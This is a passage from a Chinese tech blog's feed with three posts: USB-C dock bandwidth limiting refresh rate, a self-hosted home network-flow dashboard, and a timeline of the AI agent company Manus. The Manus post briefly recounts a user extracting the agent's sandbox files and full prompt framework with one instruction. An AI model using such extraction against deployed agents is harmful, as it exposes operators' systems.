537.3MHz。</p><h2 id="一道小学算术"><a href="#一道小学算术" class="headerlink" title="一道小学算术"></a>一道小学算术</h2><p>像素时钟怎么算？把总时序的宽、高、刷新率乘起来就行——注意用<strong>总</strong>时序（2720×1481），不是可见分辨率，因为消隐区那些看不见的像素也要占时间。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">144Hz → 2720 × 1481 × 144 = 580.1 MHz   占链路上限的 108%  ❌</span><br><span class="line">133Hz → 2720 × 1481 × 133 = 535.8 MHz   占链路上限的 99.7% ✅</span><br></pre></td></tr></table></figure><p>答案出来了。144Hz 需要 580.1MHz，超出链路上限 8%，塞不进去。而 133Hz 是 535.8MHz——<strong>刚好是 537.3 的 99.7%</strong>。</p><p>macOS 没有保守地退回 120Hz，而是精确地挑了那个还能塞得下的最大值，一格不浪费。</p><p>所以 133 这个数字既不是厂商标的，也不是随便截的。它是「在这条链路上能跑的最快速度」。</p><h2 id="为什么坞只给这么点带宽"><a href="#为什么坞只给这么点带宽" class="headerlink" title="为什么坞只给这么点带宽"></a>为什么坞只给这么点带宽</h2><p>USB-C 口里的线是有限的。拓展坞要同时管视频和 USB 3.0，就把 4 条高速通道劈成两半：<strong>2 条给 DisplayPort，2 条给 USB</strong>。</p><p>视频只剩一半的路，带宽自然对半砍。如果是 USB-C 直连显示器、4 条通道全给 DP（HBR3），带宽预算大约在 <strong>1080MHz</strong>——580MHz 轻轻松松，144Hz 随便跑。</p><p>一句话：<strong>你为了插 U 盘，付出了 11Hz。</strong></p><h2 id="顺便说个反直觉的：降刷新率不会让坞凉快"><a href="#顺便说个反直觉的：降刷新率不会让坞凉快" class="headerlink" title="顺便说个反直觉的：降刷新率不会让坞凉快"></a>顺便说个反直觉的：降刷新率不会让坞凉快</h2><p>133Hz 占满了链路的 99.7%，坞长期在满负载工作，摸上去一直是温的。很自然会想：把刷新率降下来，是不是就凉了？</p><p>我测了。读 <code>AppleSmartBattery</code> 里的 <code>PowerOutDetails.Watts</code>（Mac 经 VBUS 供给坞的功率），每档取 10 个样本：</p><table><thead><tr><th>刷新率</th><th>供电功率</th></tr></thead><tbody><tr><td>133Hz</td><td>3237 mW</td></tr><tr><td>120Hz</td><td>3310 mW</td></tr><tr><td>60Hz</td><td>3129 mW</td></tr></tbody></table><p>极差只有 <strong>181mW（5.6%）</strong>，而且<strong>不随刷新率单调变化</strong>——120Hz 反而比 133Hz 还高一点。这就是噪声。</p><p>所以别为了降温去调刷新率，纯属白忙。</p><p><strong>坞的热来自别的地方。</strong> 把 USB 树展开看一眼，这个”只插了键鼠接收器”的坞里其实常驻着：两级 GenesysLogic USB 3.1 Hub、两级 USB 2.1 Hub、一块 ASIX AX88179B 千兆网卡、一个 USB 3.0 读卡器、一颗 ITE BillBoard 芯片。</p><p>网卡和读卡器是焊在里面的——<strong>你不插网线、不插卡，它们照样枚举，照样耗电</strong>。坞是总线供电，Mac 给它约 3W，这 3W 全散在一个小金属壳里。烫是必然的，跟你开多少赫兹没关系。</p><h2 id="那怎么才能真的跑满-144Hz"><a href="#那怎么才能真的跑满-144Hz" class="headerlink" title="那怎么才能真的跑满 144Hz"></a>那怎么才能真的跑满 144Hz</h2><p>绕开拓展坞。</p><p>如果你的 Mac 还有空着的 USB-C 口（比如充电走了磁吸），拿一根 <strong>USB-C → DP 线从空口直连显示器</strong>。4 条通道全给视频，带宽预算翻一倍，580MHz 不在话下。顺带坞里那颗转换芯片彻底停工，也能凉一点。</p><p>代价是多一根线。但换来 11Hz 和一个不烫手的坞，我觉得划算。</p><hr><h2 id="一点题外话"><a href="#一点题外话" class="headerlink" title="一点题外话"></a>一点题外话</h2><p>整件事里最有意思的地方，是 <strong>133 这个数字本身</strong>。</p><p>它看起来像个 bug，像某个程序员随手写的魔法数字。但把总时序、链路上限、刷新率三个数摆在一起算一遍，它就变成了一个必然的结果——系统在你看不见的地方做了一道除法，然后老老实实取了整。</p><p>很多看起来莫名其妙的限制，拆开看都是这样：不是谁偷懒，是物理定律在某个地方划了条线。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/07/144hz-dock-bandwidth/</id>
    <link href="https://zhangwenqiang.com/2026/09/07/144hz-dock-bandwidth/"/>
    <published>2026-09-07T12:00:00.000Z</published>
    <summary>
      <![CDATA[<p>买了块 2K 144Hz 的显示器，接上 MacBook，打开系统设置——刷新率那一栏最高只有 <strong>133Hz</strong>。</p>
<p>不是 144，也不是 120，是 133。这个数字很奇怪，奇怪到不像是厂商会标的规格，倒像是某个地方算出来的余数。</p>
<p>它确实是算出来的。</p>]]>
    </summary>
    <title>144Hz 的显示器，为什么只能跑 133Hz</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="家庭网络" scheme="https://zhangwenqiang.com/tags/%E5%AE%B6%E5%BA%AD%E7%BD%91%E7%BB%9C/"/>
    <category term="OpenWrt" scheme="https://zhangwenqiang.com/tags/OpenWrt/"/>
    <category term="ClickHouse" scheme="https://zhangwenqiang.com/tags/ClickHouse/"/>
    <category term="Grafana" scheme="https://zhangwenqiang.com/tags/Grafana/"/>
    <content>
      <![CDATA[<p>家里有多少台设备在联网？它们在跟谁说话？哪些流量出了国？</p><p>路由器后台能告诉你「谁用了多少流量」，但说不出<strong>去了哪儿</strong>。想知道这个，得把每一条连接都记下来。</p><p>于是有了这块大屏。</p><blockquote><p>🛰️ 整套配置已开源：<a href="https://github.com/zhangwenqiang0214/home-netflow-dashboard">github.com&#x2F;zhangwenqiang0214&#x2F;home-netflow-dashboard</a></p></blockquote><span id="more"></span><h2 id="它长什么样"><a href="#它长什么样" class="headerlink" title="它长什么样"></a>它长什么样</h2><p>十一个面板，一屏看完：</p><ul><li><strong>国内 &#x2F; 国外流量占比</strong> —— 一个饼图，比想象中更有信息量</li><li><strong>上行 &#x2F; 下行方向</strong> —— 谁在传，谁在收</li><li><strong>流量时序曲线</strong> —— 一天里哪个时段最忙</li><li><strong>设备 TOP</strong> —— 家里哪台机器最能吃</li><li><strong>出境 IP TOP</strong> —— 出了国的流量具体去了哪些地址</li><li><strong>端口 TOP</strong> —— 走的什么协议</li></ul><p>打开它最直观的收获，是<strong>看见了很多你不知道在联网的东西</strong>。智能音箱、电视盒子、某个插座——它们都在安静地跟外面说话，而且比你想的勤快。</p><h2 id="数据是怎么流过来的"><a href="#数据是怎么流过来的" class="headerlink" title="数据是怎么流过来的"></a>数据是怎么流过来的</h2><div class="mermaid-wrap"><pre class="mermaid-src" data-config="{}" hidden>    flowchart LR  subgraph H[&quot;家里&quot;]    R[&quot;路由器&lt;br&#x2F;&gt;softflowd&lt;br&#x2F;&gt;NetFlow v9 · 1:64 采样&quot;]  end  subgraph C[&quot;云服务器&quot;]    G[&quot;goflow2&quot;] --&gt; K[&quot;Kafka&quot;] --&gt; D[(&quot;ClickHouse&quot;)]  end  R -- &quot;UDP :2055&quot; --&gt; G  D --&gt; V[&quot;Grafana 大屏&quot;]  style R fill:#eef3f5,stroke:#5b8291  style D fill:#f7f0e6,stroke:#c08552  style V fill:#f7f0e6,stroke:#c08552  </pre></div><p><strong>路由器这端</strong>跑 <code>softflowd</code>，监听内网桥接口。它不复制流量内容，只记录「谁跟谁、走哪个端口、传了多少字节」这样的元数据，然后按 NetFlow v9 格式发出去。</p><p>采样率设的 1:64——每 64 个包记一个。家用路由器的 CPU 很金贵，全量记录会把它拖垮，而看趋势并不需要全量。</p><p><strong>云端</strong>用 goflow2 收，塞进 Kafka 缓冲，落到 ClickHouse。ClickHouse 是列式数据库，这种「一亿行、只查几列、要聚合」的场景正是它的主场。</p><p><strong>Grafana</strong> 负责把它画出来。</p><h2 id="怎么知道一个-IP-是不是国内的"><a href="#怎么知道一个-IP-是不是国内的" class="headerlink" title="怎么知道一个 IP 是不是国内的"></a>怎么知道一个 IP 是不是国内的</h2><p>这是整件事里最实用的一环。</p><p>大屏上「国内 &#x2F; 国外」的划分，靠的是一张<strong>中国 IP 段字典</strong>——7456 条网段，加载成 ClickHouse 的 <code>IP_TRIE</code> 结构。查一个 IP 属不属于中国，就是一次前缀树查找，快到可以忽略。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dictHas(<span class="string">&#x27;dictionaries.china_ip&#x27;</span>, src_addr)</span><br></pre></td></tr></table></figure><p>数据来自公开维护的 china_ip_list。不需要任何商业 IP 库，也不需要注册 key。</p><blockquote><p>想在地图上标出流量去了哪个国家的话，就需要 GeoIP 数据库了（比如 MaxMind GeoLite2，免费但要注册）。我暂时没上，因为「国内&#x2F;国外」这一刀已经回答了我 80% 的疑问。</p></blockquote><h2 id="几个当时想明白的事"><a href="#几个当时想明白的事" class="headerlink" title="几个当时想明白的事"></a>几个当时想明白的事</h2><p><strong>采样不丢失真相。</strong> 1:64 听起来很粗，但流量分布是长尾的——真正的大流量会被反复采到，小流量本来也不重要。看趋势和占比，采样完全够。</p><p><strong>元数据比内容更有用。</strong> 我不需要知道某台设备传了什么，只需要知道它「凌晨三点还在跟境外某个 IP 持续通信」。后者才是异常信号，而且不用碰任何隐私内容。</p><p><strong>别让监控系统影响被监控的对象。</strong> softflowd 跑在路由器上，内存和 CPU 都要省着用；重活全放到云端。家里的网卡了，再漂亮的大屏也没意义。</p><h2 id="开源了"><a href="#开源了" class="headerlink" title="开源了"></a>开源了</h2><p>整套东西放上去了：<strong><a href="https://github.com/zhangwenqiang0214/home-netflow-dashboard">github.com&#x2F;zhangwenqiang0214&#x2F;home-netflow-dashboard</a></strong></p><p>包含 docker-compose、ClickHouse 建表与视图、Grafana 大屏 JSON、路由器侧脚本，以及那份中国 IP 段字典。MIT 协议。</p><p>整理的时候顺手做了两件事。</p><p>一是<strong>把踩过的坑写进 README</strong>。比如 Grafana 千万别用 <code>latest</code>——它启动时会联网更新自带插件，网络不畅就一直卡着，HTTP 端口永不就绪，表现是”容器起来了但页面打不开”。这个坑当时找了很久，现在锁版本 + 关掉插件预装的配置直接写进 compose 了。</p><p>二是<strong>把设备清单换成了示例数据</strong>。原来那个 <code>devices.csv</code> 里是我家 19 台设备的 MAC 地址、内网 IP 和名字——摄像头、音箱、每个人的手机、NAS。那是一份完整的家庭画像，绝不能公开。仓库里现在是虚构的示例，MAC 用的是文档保留段，真实文件写进了 <code>.gitignore</code>。</p><p><strong>做这类自建监控，最容易忽略的就是：你收集的数据本身，就是最该保护的东西。</strong></p><h2 id="一点感受"><a href="#一点感受" class="headerlink" title="一点感受"></a>一点感受</h2><p>装完之后我盯着那块屏看了很久。</p><p>平时”上网”是个很抽象的词——你点一下，东西就出来了。而这块屏把它变具体了：几十条连接同时存在，有的一闪而过，有的持续几个小时；有些去了你认识的地方，有些去了你完全不知道的地方。</p><p>家里这张网一直都这么热闹，只是以前没人看着它。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/08/21/home-network-flow-dashboard/</id>
    <link href="https://zhangwenqiang.com/2026/08/21/home-network-flow-dashboard/"/>
    <published>2026-08-21T13:00:00.000Z</published>
    <summary>
      <![CDATA[<p>家里有多少台设备在联网？它们在跟谁说话？哪些流量出了国？</p>
<p>路由器后台能告诉你「谁用了多少流量」，但说不出<strong>去了哪儿</strong>。想知道这个，得把每一条连接都记下来。</p>
<p>于是有了这块大屏。</p>
<blockquote>
<p>🛰️ 整套配置已开源：<a href="https://github.com/zhangwenqiang0214/home-netflow-dashboard">github.com&#x2F;zhangwenqiang0214&#x2F;home-netflow-dashboard</a></p>
</blockquote>]]>
    </summary>
    <title>家里的网络在往哪儿跑，我做了块大屏看着</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="观察" scheme="https://zhangwenqiang.com/categories/%E8%A7%82%E5%AF%9F/"/>
    <category term="行业观察" scheme="https://zhangwenqiang.com/tags/%E8%A1%8C%E4%B8%9A%E8%A7%82%E5%AF%9F/"/>
    <category term="时间线梳理" scheme="https://zhangwenqiang.com/tags/%E6%97%B6%E9%97%B4%E7%BA%BF%E6%A2%B3%E7%90%86/"/>
    <category term="AI" scheme="https://zhangwenqiang.com/tags/AI/"/>
    <content>
      <![CDATA[<blockquote><p>起因是一封邮件。2026 年 8 月中旬，Manus 给用户群发了一封标题为 “ACTION REQUIRED: 7 days left to back up … for future restoration” 的信，通知在 2025 年 12 月 29 日之后产生的部分数据将在 8 月 23 日 08:00（新加坡时间）起被删除，服务将于 8 月 25 日 08:00 恢复——“Manus 将很快恢复以独立公司的形式运营”。</p><p>一家公司要”恢复独立”，意味着它此前不独立；一家公司要删掉自己用户从某个特定日期起产生的所有数据，那个日期通常是某笔交易的交割日。这封邮件里的每一个措辞都是被律师改过的，而它省略掉的部分，是过去 18 个月里中美科技监管史上最离奇的一桩案子。</p><p>本文所有事实均标注来源。传闻与未经证实的部分单独列出，不与实锤混写。</p></blockquote><span id="more"></span><hr><h2 id="一、邮件里的三个日期"><a href="#一、邮件里的三个日期" class="headerlink" title="一、邮件里的三个日期"></a>一、邮件里的三个日期</h2><p>先把这封邮件当成一份取证材料来读。</p><p>它给了三个时间点：<strong>2025 年 12 月 29 日</strong>（数据开始受影响的起点）、<strong>2026 年 8 月 23 日 07:59 SGT</strong>（备份截止）、<strong>2026 年 8 月 25 日 08:00 SGT</strong>（服务恢复）。它给的理由是”为遵守特定司法辖区的监管要求”（to comply with regulatory requirements in specific jurisdictions），并且强调 “This is unavoidable”。</p><p>2025 年 12 月 29 日，是 Meta 收购 Manus 的交割日（<a href="https://www.cnbc.com/2025/12/30/meta-acquires-singapore-ai-agent-firm-manus-china-butterfly-effect-monicai.html">CNBC，2025 年 12 月 30 日</a>）。也就是说，Manus 要删的，正是”在 Meta 名下这 8 个月里”产生的全部用户数据。Manus 官方在帮助中心里明确写了这不是安全事件（”This is not a security incident”，<a href="https://help.manus.im/en/articles/16147831-service-change-overview-what-s-happening-and-am-i-affected">Manus Help Center</a>），公开信见 <a href="https://manus.im/blog/a-note-to-our-users">Manus 官方博客《A Note to Our Users》</a>，以及 <a href="https://www.yicai.com/news/103314207.html">第一财经的中文报道</a>。</p><p>一笔已经交割、已经完成人员和系统整合的跨境并购，被要求原样退回去——退回去到什么程度？连并购期间产生的数据都要抹掉，因为这些数据在法律上”曾经属于一家美国公司”。这在全球并购史上极其罕见。</p><p>要理解这封邮件，得从四年前一个在武汉做微信插件的年轻人讲起。</p><hr><h2 id="二、序章：两个-1992-年出生的人"><a href="#二、序章：两个-1992-年出生的人" class="headerlink" title="二、序章：两个 1992 年出生的人"></a>二、序章：两个 1992 年出生的人</h2><p>Manus 这家公司真正的名字叫<strong>蝴蝶效应</strong>（Butterfly Effect），产品线上还有一个更早、更赚钱的东西叫 <strong>Monica</strong>。</p><p><strong>肖弘</strong>，1992 年生于江西吉安，2015 年毕业于华中科技大学，毕业后留在武汉创业（<a href="https://finance.sina.com.cn/roll/2025-03-09/doc-inenzieq7906272.shtml">新浪财经</a>）。他的第一段创业是极其”中国式”的务实路线：做微信生态的 SaaS 工具——<strong>壹伴助手</strong>（公众号排版运营）和<strong>微伴助手</strong>（企业微信 SCRM），公司叫夜莺科技。这两个产品不性感，但现金流健康，养活了团队，也让他在 2022 年 ChatGPT 发布前两个月就掉头开始做 AI（<a href="https://zhuanlan.zhihu.com/p/31611864730">澎湃&#x2F;知乎整理</a>）。</p><p><strong>季逸超</strong>（Peak），同样 1992 年生，北京人，北大附中、北京信息科技大学，父亲是北大物理系教授。他 16 岁写出<strong>猛犸浏览器</strong>，拿过 Macworld Asia 特等奖，定价 1.99 美元，三天下载 12 万次；2012 年拿到徐小平和红杉的投资创立 <strong>Peak Labs</strong>，是中国最早一批被媒体反复报道的”90 后天才少年”（<a href="https://www.cyzone.cn/article/792156.html">创业邦重发的十二年前旧文</a>、<a href="https://baike.baidu.com/item/%E5%AD%A3%E9%80%B8%E8%B6%85/3787689">季逸超百度百科</a>）。</p><p>一个是打法凶狠的产品型连续创业者，一个是被资本追了十几年的技术天才。2026 年 3 月，这两个人的名字会一起出现在一份”限制出境”的报道里——但那是后话。</p><hr><h2 id="三、2022–2024：靠”套壳”活成现金牛"><a href="#三、2022–2024：靠”套壳”活成现金牛" class="headerlink" title="三、2022–2024：靠”套壳”活成现金牛"></a>三、2022–2024：靠”套壳”活成现金牛</h2><p>蝴蝶效应真正的第一桶金，是 <strong>Monica</strong>：一个浏览器插件，把 GPT-4、Claude、后来还有 DeepSeek 等模型缝进用户的浏览器，做聊天、翻译、写文案、生成图片。</p><p>Monica 的增长方式很能说明肖弘的风格：2023 年，它<strong>直接收购了独立开发者的产品 “ChatGPT for Google”</strong>，用买流量的方式完成用户跃迁，海外用户规模突破 700 万（<a href="https://finance.sina.com.cn/roll/2025-03-09/doc-inenzieq7906272.shtml">新浪财经</a>）。</p><p>这里出现了后来贯穿全篇的第一个关键词：<strong>套壳</strong>。Monica 从第一天起就被骂套壳——它不训模型，它只是把别人的模型包装成用户愿意付钱的界面。有中文媒体后来给了个精准的标题：”<a href="https://m.thepaper.cn/newsDetail_forward_30320407">Manus 背后的华人团队：套壳到极致，就是胜利</a>“。</p><p>两年内四轮融资，估值从 1400 万美元涨到接近 5 亿美元，早期投资方包括真格基金、红杉中国（HSG）、腾讯（<a href="https://36kr.com/p/3200393697427076">36氪</a>）。2024 年 11 月的 A 轮由腾讯和红杉中国领投，真格和王慧文跟投（<a href="https://finance.sina.com.cn/tech/roll/2025-03-11/doc-inephsqm2596938.shtml">新浪财经</a>）。</p><p>请记住这张股东名单：<strong>腾讯、红杉中国（HSG）、真格</strong>。18 个月后，正是这三家把公司从 Meta 手里买了回来。</p><hr><h2 id="四、2025-年-3-月-6-日：被神话的-24-小时"><a href="#四、2025-年-3-月-6-日：被神话的-24-小时" class="headerlink" title="四、2025 年 3 月 6 日：被神话的 24 小时"></a>四、2025 年 3 月 6 日：被神话的 24 小时</h2><p>2025 年 3 月 5 日深夜到 6 日，蝴蝶效应发布了 Manus 的内测预览版，定位是”全球首款通用 AI Agent”。发布视频演示了它自动筛简历、做股票分析、写研究报告，<strong>20 小时内播放量超过 100 万</strong>（<a href="https://en.wikipedia.org/wiki/Manus_(AI_agent)">Wikipedia: Manus (AI agent)</a>）。</p><p>然后是那场著名的邀请码狂欢。</p><p>Manus 采用邀请码制，官方免费发放，但市场瞬间失控：闲鱼和各类电商、社交平台上，邀请码被炒到 <strong>5 万到 10 万人民币</strong>（约 7000–13800 美元）（<a href="https://en.wikipedia.org/wiki/Manus_(AI_agent)">Wikipedia</a>、<a href="https://finance.sina.com.cn/tech/roll/2025-03-07/doc-inenvmwk9821012.shtml">新浪科技《邀请码炒到10万！Manus真”颠覆”还是真”炒作”？》</a>）。《华尔街日报》报道的数字更保守，称邀请码转售价超过 1000 美元。官方随后出面澄清：从未开设任何付费获取渠道，邀请码是免费的，呼吁理性参与（<a href="https://www.aibase.com/news/www.aibase.com/news/16018">AIbase</a>）。</p><p>超过 <strong>350 万人</strong>申请了内测资格（<a href="https://theairankings.com/butterfly-effect/">The AI Rankings 汇总</a>）。当时中文舆论场普遍的说法是”DeepSeek 之后的第二个国运时刻”。</p><p>冲突在第一天就埋下了。质疑者的观点非常直接：一个连自己模型都没有的产品，凭什么？而支持者的回答同样直接：用户不关心谁做的模型，用户关心谁把活干完了。</p><p><strong>这场狂欢里有一个几乎没人注意的细节</strong>：Manus 从发布起主界面就是英文，且从未在中国大陆完成大模型备案。有媒体在 3 月 10 日就提出，Manus 若使用未在境内备案的境外大模型产品、自身也无备案，严格说在中国境内是不合规的（<a href="https://36kr.com/p/3200393697427076">36氪《Manus 或面临备案监管问题》</a>）。一家中国团队做的产品，从诞生第一天起，法律上就不属于中国市场。这个”先天缺陷”，将在 12 个月后变成整件事的核心矛盾。</p><hr><h2 id="五、被”越狱”的那三天"><a href="#五、被”越狱”的那三天" class="headerlink" title="五、被”越狱”的那三天"></a>五、被”越狱”的那三天</h2><p>爆红后的第四天，出事了。</p><p>2025 年 3 月 10 日，一位 X 用户 <strong>jian</strong> 声称只用一条简单指令，就让 Manus 输出了沙盒里 <code>/opt/.manus/</code> 目录下的文件，拿到了运行时代码、工具链和完整的提示词框架。结论是：<strong>Manus 跑在 Claude Sonnet 上，配了 29 个工具，并没有实现所谓的多智能体架构</strong>（<a href="https://cloud.tencent.com/developer/article/2503845">腾讯云开发者社区</a>、<a href="https://www.21jingji.com/article/20250314/herald/8a720bebb4a366cd3c5ba1607d921b61.html">21世纪经济报道《Manus 底层解码：”套壳”下的创新”越狱”》</a>）。</p><p>这次”越狱”最有意思的不是泄露本身，而是<strong>季逸超的回应姿态</strong>：他公开表示用户本来就可以直接访问沙盒，每个会话都是隔离沙盒，代码只做了轻度混淆，因为它只负责接收指令（同上来源）。翻译成人话——这不是被黑，这是设计如此。</p><p>从安全从业者的角度看，这个回应其实是站得住的：单会话隔离沙盒、代码在客户可控执行环境内、无高价值秘密驻留，威胁模型本身就不假设沙盒内容保密。但在舆论场上，”被扒出跑的是 Claude” 这一条盖过了一切技术辩解。</p><p>紧接着是更狠的一击：<strong>MetaGPT 团队的 5 个人，用 3 个小时做出了开源版 OpenManus，不需要邀请码，支持本地部署</strong>（<a href="https://www.thepaper.cn/newsDetail_forward_30331141">澎湃新闻</a>）；CAMEL-AI 团队随后放出 OWL。”三小时复刻”成了那一周中文互联网最流行的梗，也成了套壳论最有力的弹药。</p><p>Manus 的应对是三天后的一次外交式操作：<strong>3 月 11 日，宣布与阿里通义千问团队达成战略合作</strong>，称将基于通义千问系列开源模型，在国产模型和算力平台上实现 Manus 的全部功能（<a href="https://finance.sina.com.cn/roll/2025-03-11/doc-inephsqi5393381.shtml">新浪财经</a>、<a href="https://finance.sina.com.cn/tech/roll/2025-03-11/doc-inephsqm2596938.shtml">新浪科技</a>）。</p><p>这一步在当时被解读为”回应套壳质疑 + 铺路国内版”。事后看，它是 Manus 与中国产业绑定最深的一次公开动作——也是最后一次。</p><hr><h2 id="六、5-亿美元估值，和一封来自美国财政部的问询"><a href="#六、5-亿美元估值，和一封来自美国财政部的问询" class="headerlink" title="六、5 亿美元估值，和一封来自美国财政部的问询"></a>六、5 亿美元估值，和一封来自美国财政部的问询</h2><p>2025 年 4 月，Manus 拿到 <strong>Benchmark 领投的 7500 万美元融资，投后估值约 5 亿美元</strong>（<a href="https://techcrunch.com/2025/04/25/chinese-ai-startup-manus-reportedly-gets-funding-from-benchmark-at-500m-valuation/">TechCrunch，2025 年 4 月 25 日</a>）。Benchmark 是硅谷最老牌的 VC 之一，投过 eBay、Twitter、Uber、Snap。</p><p>三周后，麻烦来了。</p><p>2025 年 5 月 9 日，<a href="https://www.semafor.com/article/05/09/2025/us-treasury-examining-benchmark-capitals-ties-to-chinese-startup-manus-ai">Semafor</a> 和 <a href="https://techcrunch.com/2025/05/09/the-us-is-reviewing-benchmarks-investment-into-chinese-ai-startup-manus/">TechCrunch</a> 同时报道：<strong>美国财政部正在审查 Benchmark 这笔投资</strong>，依据是 2023 年行政令衍生出的”对外投资安全计划”（Outbound Investment Security Program, OISP，又称”反向 CFIUS”），该规则于 2025 年 1 月 2 日生效，限制美国资本投向”受关注国家”的 AI 等关键技术。</p><p>Benchmark 的律师给出的抗辩理由，堪称本文最大的黑色幽默：</p><p><strong>第一，Manus 不算 AI 公司管制对象，因为它不训练自己的模型，只是别人模型的”壳”（wrapper）；第二，Manus 不是中国公司，因为它注册在开曼群岛。</strong>（<a href="https://www.semafor.com/article/05/09/2025/us-treasury-examining-benchmark-capitals-ties-to-chinese-startup-manus-ai">Semafor</a>、<a href="https://www.proskauer.com/blog/treasurys-latest-moves-fast-track-for-foreign-investors-and-outbound-ai-investment-inquiry">Proskauer 法律分析</a>）</p><p>一年前还是全网嘲讽的”套壳”，一年后成了通过美国监管审查的法律护身符。而”注册在开曼所以不是中国公司”这句话，在 11 个月后会被北京用最强硬的方式反驳。</p><p>这次审查是整个故事的转折点。它给 Manus 传递了一个非常清晰的信号：<strong>你身上的”中国属性”会持续给你的美元融资、你的估值、你的退出路径打折。</strong></p><p>于是他们决定把它切掉。</p><hr><h2 id="七、2025-年夏天：删号、裁员、搬去新加坡"><a href="#七、2025-年夏天：删号、裁员、搬去新加坡" class="headerlink" title="七、2025 年夏天：删号、裁员、搬去新加坡"></a>七、2025 年夏天：删号、裁员、搬去新加坡</h2><p>2025 年 6 月，Manus 合伙人张涛在一次活动上公开宣布：公司总部已从中国迁至新加坡，运营主体变为 Butterfly Effect Pte.，并开始在新加坡本地招聘（<a href="https://news.qq.com/rain/a/20250708A06ULO00">腾讯新闻</a>、<a href="https://36kr.com/p/3200393697427076">36氪</a>）。</p><p>7 月，切割开始动刀子。</p><p>据当时多家媒体报道：中国区约 <strong>120 名员工</strong>中，<strong>40 余名核心技术人员被调往新加坡</strong>，其余人员”优化”，赔偿方案为 N+3 或 2N（<a href="https://news.qq.com/rain/a/20250708A06ULO00">腾讯新闻</a>、<a href="https://www.esmchina.com/news/13256.html">国际电子商情</a>、<a href="https://m.thepaper.cn/newsDetail_forward_31167906">澎湃新闻《Manus 彻底撤出中国》</a>）。与此同时，官方微博和小红书账号被清空，中文版产品不可用，中国大陆 IP 访问官网会看到 “Manus is not available in your region”（<a href="https://www.zhihu.com/question/1927315994994537412">知乎话题汇总</a>、<a href="https://m.thepaper.cn/newsDetail_forward_31167906">澎湃</a>）。</p><p>新加坡那边同时在开出月薪 8000–16000 美元（年薪超 130 万人民币）的岗位招人（<a href="https://www.donews.com/news/detail/1/5609624.html">DoNews</a>）。</p><p>这套操作在业内有个专门的名字：<strong>Singapore-washing（新加坡洗白）</strong>——用新加坡实体给中国创始的公司套上一层”全球身份”，以便融美元、卖美国、避审查（<a href="https://fortune.com/2026/03/09/singapore-washing-us-china-shein-manus/">Fortune，2026 年 3 月</a>）。SHEIN 是这条路的先行者，Manus 是最激进的执行者：它不是分拆，是<strong>整体迁移加彻底清场</strong>。</p><p>需要说清楚的是，这里存在两种不同性质的叙事，各自都有拥护者：</p><p>一种是”生存说”。在美国把中国 AI 公司列入投资限制、算力受限、又必须依赖 Claude 等美国模型 API 的情况下，不切割就没有增长空间。Manus 主要收入在海外，用户在海外，模型在海外，公司留在中国反而处处受制。</p><p>另一种是”背叛说”。中文舆论场当时的情绪相当激烈：一家吃着中国工程师红利、拿着腾讯红杉真格的钱、靠中文互联网的舆论声量起家的公司，转身把简中痕迹删得一干二净。”<a href="https://finance.ifeng.com/c/8kx2qJaIzDU">全网首个爆料 Manus 裁员消息的人，如何看待其彻底撤出中国一事？</a>“这类标题在 7 月满天飞。</p><p>商业上，这一步在当时看是成功的。政治上，这一步是整个故事里最致命的错误。</p><hr><h2 id="八、沉默期里的暴力增长"><a href="#八、沉默期里的暴力增长" class="headerlink" title="八、沉默期里的暴力增长"></a>八、沉默期里的暴力增长</h2><p>被中文舆论骂完之后，Manus 在 2025 年下半年做了一件反直觉的事：它闭嘴了，然后开始疯长。</p><ul><li><strong>2025 年 7 月</strong>：推出 <strong>Wide Research</strong>，可并发调用最多 100 个子智能体同时工作，把研究类任务的执行时间大幅压缩。</li><li><strong>2025 年 10 月 16 日</strong>：发布 <strong>Manus 1.5</strong>，速度提升 4 倍，平均任务耗时从 15 分钟降到 4 分钟以内，新增全栈 Web 应用开发能力。</li><li><strong>2025 年 12 月</strong>：发布 <strong>Manus 1.6 Max</strong>，加入 Design View，双盲测试用户满意度提升逾 19.2%。</li></ul><p>（产品节奏来源：<a href="https://sacra.com/c/manus/">Sacra</a>、<a href="https://manus.im/blog/manus-100m-arr">Manus 官方博客</a>、<a href="https://en.namu.wiki/w/Manus%20AI">NamuWiki 汇总</a>）</p><p>财务数字更夸张。<strong>上线 8 个月，ARR 突破 1 亿美元</strong>，官方称这是全球初创公司从 0 到 1 亿美元 ARR 的最快纪录；到 2025 年 12 月，总收入 run-rate 超过 1.25 亿美元（<a href="https://manus.im/blog/manus-100m-arr">Manus 官方博客</a>、<a href="https://www.bloomberg.com/news/articles/2025-12-17/manus-says-sales-hit-125-million-run-rate-months-after-launch">Bloomberg，2025 年 12 月 17 日</a>、<a href="https://www.scmp.com/tech/tech-trends/article/3336925/manus-hits-us100-million-revenue-milestone-global-competition-ai-agents-heats">SCMP</a>）。定价上，早在 2025 年 3 月底就推出了 39 美元和 199 美元两档订阅（<a href="https://winbuzzer.com/2025/03/31/manus-ai-launches-paid-plans-after-viral-demand-offering-39-and-199-tiers-xcxwbn/">WinBuzzer</a>）。</p><p>到收购公告时，Manus 称系统累计处理超过 <strong>147 万亿 tokens</strong>、创建了超过 <strong>8000 万台虚拟计算机</strong>（<a href="https://www.techradar.com/pro/meta-buys-manus-for-usd2-billion-to-power-high-stakes-ai-agent-race">收购报道汇总</a>）。</p><p>一个只有约 100 人的团队，一年时间做到这个数字。<strong>“套壳”这件事，在财务报表上被证明是对的。</strong></p><hr><h2 id="九、2025-年-12-月-29-日：卖给-Meta"><a href="#九、2025-年-12-月-29-日：卖给-Meta" class="headerlink" title="九、2025 年 12 月 29 日：卖给 Meta"></a>九、2025 年 12 月 29 日：卖给 Meta</h2><p>2025 年 12 月 29 日，Meta 宣布以<strong>超过 20 亿美元</strong>收购 Manus（Butterfly Effect），交易同日交割（<a href="https://techcrunch.com/2025/12/29/meta-just-bought-manus-an-ai-startup-everyone-has-been-talking-about">TechCrunch</a>、<a 